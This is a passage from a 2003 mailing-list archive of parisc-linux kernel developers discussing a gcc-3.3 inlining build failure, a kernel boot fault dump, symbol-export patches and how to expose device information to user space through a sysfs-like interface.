 EXPORT_SYMBOL(flush_kernel_dcache_page);
+EXPORT_SYMBOL(__flush_dcache_page);
 EXPORT_SYMBOL(flush_all_caches);

 #include <asm/unistd.h>

--jochen



From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Fri, 14 Mar 2003 13:17:57 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20030314131757.GF29631__49172.8318077095$1416622285$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3E68A24B00000CC9@ocpmta6.freegates.net> <3E6C78E100001649@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622285 22885 80.91.229.3 (22 Nov 2014 02:11:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:25 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
	Matthias Klose <doko@cs.tu-berlin.de>, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	Alexey Kuznetsov <kuznet@ms2.inr.ac.ru>, linux-net@vger.kernel.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 06:18:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 931694890
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 06:18:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18tp4P-0005WD-00; Fri, 14 Mar 2003 13:17:57 +0000
Content-Disposition: inline
In-Reply-To: <3E6C78E100001649@ocpmta2.freegates.net>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17934

On Fri, Mar 14, 2003 at 01:48:59PM +0100, Joel Soete wrote:
> net/network.o(.text.rtnetlink_rcv+0x84): In function `rtnetlink_rcv':
> : undefined reference to `rtnetlink_rcv_skb'
> make: *** [vmlinux] Error 1
> 
> (with gcc-3.2 with same src && same .config there was no pb)

You've just hit the gcc thinks it's smarter than you are bug.

net/core/rtnetlink.c:extern __inline__ int rtnetlink_rcv_skb(struct sk_buff *skb)

gcc 3.3 decides to not believe you want this function inlined.  probably
the right fix for this is to make this function static inline (you can
drop the `__' around inline, it's not necessary).  This is also the case
for linux 2.5.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Fri, 14 Mar 2003 13:19:21 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20030314131921.GG29631@parcelfarce.linux.theplanet.co.uk>
References: <20030313112232.A10172@typhon.pilat.fr> <3E706BE4.E53961BD@hp.com> <20030313134558.6cf9177c.vincentl@ec-lyon.fr> <3E7196C7.8A35605F@hp.com> <20030314133305.4311a8e6.vincentl@ec-lyon.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622286 22890 80.91.229.3 (22 Nov 2014 02:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:26 +0000 (UTC)
Cc: bruno_vidal@hp.com, parisc-linux@lists.parisc-linux.org
To: Lyonel Vincent <vincentl@ec-lyon.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 06:19:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D84214834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 06:19:42 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18tp5l-0005XO-00; Fri, 14 Mar 2003 13:19:21 +0000
Content-Disposition: inline
In-Reply-To: <20030314133305.4311a8e6.vincentl@ec-lyon.fr>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17935

On Fri, Mar 14, 2003 at 01:33:05PM +0100, Lyonel Vincent wrote:
> The ioctl sounds great to me.

It sounds like an awful idea to me.  I'll never take that kind of patch
into my tree.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lyonel Vincent <vincentl@ec-lyon.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Fri, 14 Mar 2003 15:05:49 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030314150549.3cb2e2b2.vincentl@ec-lyon.fr>
References: <20030313112232.A10172@typhon.pilat.fr>
	<3E706BE4.E53961BD@hp.com>
	<20030313134558.6cf9177c.vincentl@ec-lyon.fr>
	<3E7196C7.8A35605F@hp.com>
	<20030314133305.4311a8e6.vincentl@ec-lyon.fr>
	<20030314131921.GG29631@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622286 22892 80.91.229.3 (22 Nov 2014 02:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:26 +0000 (UTC)
Cc: bruno_vidal@hp.com, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 07:06:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 171D84846
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 07:06:15 -0700 (MST)
Original-Received: from concerto.grenoble.hp.com (concerto.grenoble.hp.com [15.128.15.118])
	by gremg1.net.external.hp.com (Postfix) with ESMTP
	id 2BDD2F; Fri, 14 Mar 2003 15:05:09 +0100 (MET)
Original-Received: from dhcp-15-204-125-53.grenoble.hp.com (dhcp-15-204-125-53.grenoble.hp.com [15.204.125.53])
	by concerto.grenoble.hp.com (8.9.3 (PHNE_25183+JAGae58098)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id PAA04512;
	Fri, 14 Mar 2003 15:05:08 +0100 (MET)
In-Reply-To: <20030314131921.GG29631@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.8.11 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17936

okokok I won't argue then.
I would have liked to have ioscan-like support, but anyway...

On Fri, 14 Mar 2003 13:19:21 +0000
Matthew Wilcox <willy@debian.org> wrote:

> On Fri, Mar 14, 2003 at 01:33:05PM +0100, Lyonel Vincent wrote:
> > The ioctl sounds great to me.
> 
> It sounds like an awful idea to me.  I'll never take that kind of
> patch into my tree.
> 


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Fri, 14 Mar 2003 14:08:48 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20030314140848.GI29631@parcelfarce.linux.theplanet.co.uk>
References: <20030313112232.A10172@typhon.pilat.fr> <3E706BE4.E53961BD@hp.com> <20030313134558.6cf9177c.vincentl@ec-lyon.fr> <3E7196C7.8A35605F@hp.com> <20030314133305.4311a8e6.vincentl@ec-lyon.fr> <20030314131921.GG29631@parcelfarce.linux.theplanet.co.uk> <20030314150549.3cb2e2b2.vincentl@ec-lyon.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622286 22896 80.91.229.3 (22 Nov 2014 02:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:26 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, bruno_vidal@hp.com,
	parisc-linux@lists.parisc-linux.org
To: Lyonel Vincent <vincentl@ec-lyon.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 07:09:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEF544834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 07:09:09 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.12)
	id 18tprc-0006BR-00; Fri, 14 Mar 2003 14:08:48 +0000
Content-Disposition: inline
In-Reply-To: <20030314150549.3cb2e2b2.vincentl@ec-lyon.fr>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17937

On Fri, Mar 14, 2003 at 03:05:49PM +0100, Lyonel Vincent wrote:
> okokok I won't argue then.
> I would have liked to have ioscan-like support, but anyway...

Well, you can have it in 2.5; start looking at sysfs.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Fri, 14 Mar 2003 09:23:42 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20030314162342.GA24555@dsl2.external.hp.com>
References: <20030309144225.O3865@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0303141351000.23830-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622286 22899 80.91.229.3 (22 Nov 2014 02:11:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:26 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 09:23:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0D9F2482C; Fri, 14 Mar 2003 09:23:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0303141351000.23830-100000@gfrw1044.bocc.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17938

On Fri, Mar 14, 2003 at 02:04:17PM +0100, Jochen Friedrich wrote:
> since the patch was included in CVS, several modules fail to load with
> unresolved external __flush_dcache_page.

yes...I just ran into the same problem when playing around with
the latest qlogic (qla2xxx v6.0.4) driver.
Appended is a more complete one which I'm not quite done with
yet either. Hopefully I can build all the flavors and commit this weekend.

grant

Index: arch/parisc/kernel/parisc_ksyms.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.44
diff -u -p -r1.44 parisc_ksyms.c
--- arch/parisc/kernel/parisc_ksyms.c   11 Jan 2003 20:10:46 -0000
1.44
+++ arch/parisc/kernel/parisc_ksyms.c   14 Mar 2003 16:16:47 -0000
@@ -127,7 +127,15 @@ EXPORT_SYMBOL(outsl);
 #include <asm/cache.h>
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
 EXPORT_SYMBOL(flush_kernel_dcache_page);
-EXPORT_SYMBOL(flush_all_caches);
+
+/* asm/pgalloc.h doesn't include all it's dependencies */
+extern void __flush_dcache_page(struct page *page);
+EXPORT_SYMBOL(__flush_dcache_page);
+
+#ifndef CONFIG_SMP
+extern void flush_cache_all_local(void);
+EXPORT_SYMBOL(flush_cache_all_local);
+#endif
 
 #include <asm/unistd.h>
 extern long sys_open(const char *, int, int);



From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.2 -> gcc-3.3 transition on hppa
Date: Fri, 14 Mar 2003 17:31:22 +0100
Lines: 173
Approved: news@gmane.org
Message-ID: <3E68A12A0000231A__42247.9307315827$1416622287$gmane$org@ocpmta3.freegates.net>
References: <20030314131757.GF29631@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622287 22905 80.91.229.3 (22 Nov 2014 02:11:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:27 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>,
	"Matthias Klose" <doko@cs.tu-berlin.de>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org,
	"Alexey Kuznetsov" <kuznet@ms2.inr.ac.ru>, linux-net@vger.kernel.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 09:31:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id F41DE482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Mar 2003 09:31:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ts5d-0003Cu-00; Fri, 14 Mar 2003 17:31:25 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 14 Mar 2003 17:31:22 +0100
In-Reply-To: <20030314131757.GF29631@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17939

>
>On Fri, Mar 14, 2003 at 01:48:59PM +0100, Joel Soete wrote:
>> net/network.o(.text.rtnetlink_rcv+0x84): In function `rtnetlink_rcv':
>> : undefined reference to `rtnetlink_rcv_skb'
>> make: *** [vmlinux] Error 1
>> 
>> (with gcc-3.2 with same src && same .config there was no pb)
>
>You've just hit the gcc thinks it's smarter than you are bug.
>
>net/core/rtnetlink.c:extern __inline__ int rtnetlink_rcv_skb(struct sk_buff
>*skb)
>
>gcc 3.3 decides to not believe you want this function inlined.  probably
>the right fix for this is to make this function static inline (you can
>drop the `__' around inline, it's not necessary).  This is also the case
>for linux 2.5.
>
Right Willy that allow to compile :)

Unfortunately it failled to boot :_( with following dump:
Freeing unused kernel memory: 246k freed

Stack Dump:
 10674680:  0006ff0f 10371278 100dc000 00000000 
 10674670:  107dd2a0 101639e4 107dd220 103fcc80 
 10674660:  10398010 1003bd20 00027174 faf00068 
 10674650:  100bbd20 00000001 00000040 100bba00 
 10674640:  00000000 00000000 00000000 00000004 
 10674630:  faf00290 101342f8 00020002 00020002 

Kernel addresses on the stack:
 [<101639e4>]  [<101342f8>]  [<1010bbf8>]  [<101346d4>] 
 [<10110f90>]  [<10110084>]  [<1010fcf4>]  [<10164e10>] 
 [<101639e4>]  [<1017bfc4>]  [<1017c21c>]  [<1012d9f4>] 


Kernel Fault: Code=15 regs=10674680 (Addr=00027750)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 103eee50 101342f8 00027750
r04-07  00000000 0000000e 0000000e 00027174
r08-11  00016800 00000001 10674000 1017c21c
r12-15  00027174 ffffffff 00000000 00000000
r16-19  103af5c0 00027974 ffffffff 10398010
r20-23  00001000 00027753 fffffff8 100bb9f4
r24-27  00000000 10674558 00027752 10398010
r28-31  00027752 00000000 10674680 40061077
sr0-3   00000001 00000001 00000000 00000001
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10351b7c 10351b80
 IIR: 0c601094    ISR: 00000000  IOR: 00027750
 CPU:        0   CR30: 10674000 CR31: 10438000
 ORIG_R28: 00001000

Submitted to dump_analyser.sh, I obtain:

IAOQ = 10351b7c
Func: __canonicalize_funcptr_for_compare, Off: 38, Addr: 0x10351b7c
10351b70:	2a 6b 50 00 	addil 56800,r19,%r1
10351b74:	48 21 0c a8 	ldw 654(r1),r1
10351b78:	d4 60 1c 1e 	depwi 0,31,2,r3
10351b7c:	0c 60 10 94 	ldw 0(sr0,r3),r20

GR0 = 00000000

GR1 = 103eee50
Func: _GLOBAL_OFFSET_TABLE_, Off: 0, Addr: 0x103eee50

GR2 = 101342f8
Func: do_sigaction, Off: a8, Addr: 0x101342f8
101342f0:	e8 50 0b 39 	b,l 10114894 <print_parisc_device+0x3d0>,rp
101342f4:	0c 73 12 99 	stw r19,-4(sr0,r3)
101342f8:	34 1a 00 02 	ldi 1,r26
101342fc:	e8 50 0b 21 	b,l 10114894 <print_parisc_device+0x3d0>,rp

GR3 = 00027750

GR4 = 00000000

GR5 = 0000000e

GR6 = 0000000e

GR7 = 00027174

GR8 = 00016800

GR9 = 00000001

GR10 = 10674000

GR11 = 1017c21c
Func: sys_dup, Off: 28, Addr: 0x1017c21c
1017c210:	34 13 3f ef 	ldi -9,r19
1017c214:	e8 5f 1b ed 	b,l 1017c010 <dupfd>,rp
1017c218:	08 00 02 40 	nop
1017c21c:	08 1c 02 53 	copy ret0,r19

GR12 = 00027174

GR13 = ffffffff

GR14 = 00000000

GR15 = 00000000

GR16 = 103af5c0
Func: init_mm, Off: 0, Addr: 0x103af5c0

GR17 = 00027974

GR18 = ffffffff

GR19 = 10398010
Func: $global$, Off: 0, Addr: 0x10398010

GR20 = 00001000

GR21 = 00027753

GR22 = fffffff8

GR23 = 100bb9f4

GR24 = 00000000

GR25 = 10674558

GR26 = 00027752

GR27 = 10398010
Func: $global$, Off: 0, Addr: 0x10398010

GR28 = 00027752

GR29 = 00000000

GR30 = 10674680

GR31 = 40061077

Kernel symbols on the stack:
[<101639e4>]: Func: dentry_open, Off: f4, Addr: 0x101639e4
[<101342f8>]: Func: do_sigaction, Off: a8, Addr: 0x101342f8
[<1010bbf8>]: Func: handle_interruption, Off: 150, Addr: 0x1010bbf8
[<101346d4>]: Func: sys_rt_sigaction, Off: 84, Addr: 0x101346d4
[<10110f90>]: Func: syscall_exit, Off: 0, Addr: 0x10110f90
[<10110084>]: Func: intr_check_sig, Off: 0, Addr: 0x10110084
[<1010fcf4>]: Func: _switch_to_ret, Off: 0, Addr: 0x1010fcf4
[<10164e10>]: Func: chrdev_open, Off: 64, Addr: 0x10164e10
[<101639e4>]: Func: dentry_open, Off: f4, Addr: 0x101639e4
[<1017bfc4>]: Func: locate_fd, Off: 70, Addr: 0x1017bfc4
[<1017c21c>]: Func: sys_dup, Off: 28, Addr: 0x1017c21c
[<1012d9f4>]: Func: it_real_fn, Off: 0, Addr: 0x1012d9f4

Done.

It doesn't help me more right now (some sleep need :) ).

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] enumerating devices from user space
Date: Fri, 14 Mar 2003 10:29:24 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030314172924.GC24555@dsl2.external.hp.com>
References: <20030313112232.A10172@typhon.pilat.fr> <3E706BE4.E53961BD@hp.com> <20030313134558.6cf9177c.vincentl@ec-lyon.fr> <3E7196C7.8A35605F@hp.com> <20030314133305.4311a8e6.vincentl@ec-lyon.fr> <20030314131921.GG29631@parcelfarce.linux.theplanet.co.uk> <20030314150549.3cb2e2b2.vincentl@ec-lyon.fr> <20030314140848.GI29631@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622287 22912 80.91.229.3 (22 Nov 2014 02:11:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:27 +0000 (UTC)
Cc: Lyonel Vincent <vincentl@ec-lyon.fr>, bruno_vidal@hp.com,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 14 10:29:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 79C41482C; Fri, 14 Mar 2003 10:29:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030314140848.GI29631@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17940

On Fri, Mar 14, 2003 at 02:08:48PM +0000, Matthew Wilcox wrote:
> On Fri, Mar 14, 2003 at 03:05:49PM +0100, Lyonel Vincent wrote:
> > okokok I won't argue then.
> > I would have liked to have ioscan-like support, but anyway...
> 
> Well, you can have it in 2.5; start looking at sysfs.

willy and I talked offline and it seems like the right
answer is to backport _the user interface_ - ie something
that *looks* like sysfs but could be based on /proc.

I'd basically like to see all resources in struct parisc_device
exported using the same name as the field - matching sysfs field
names use for PCI where appropriate. Willy suggested id be broken
out into it's struct parisc_device_id parts and provided
directly has hex strings (eg hw_type  entry could contain "0x5").
Details of how sysfs currently looks are still changing - don't get
hung up in the current details.

grant


From - Thu Nov 08 21:27:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
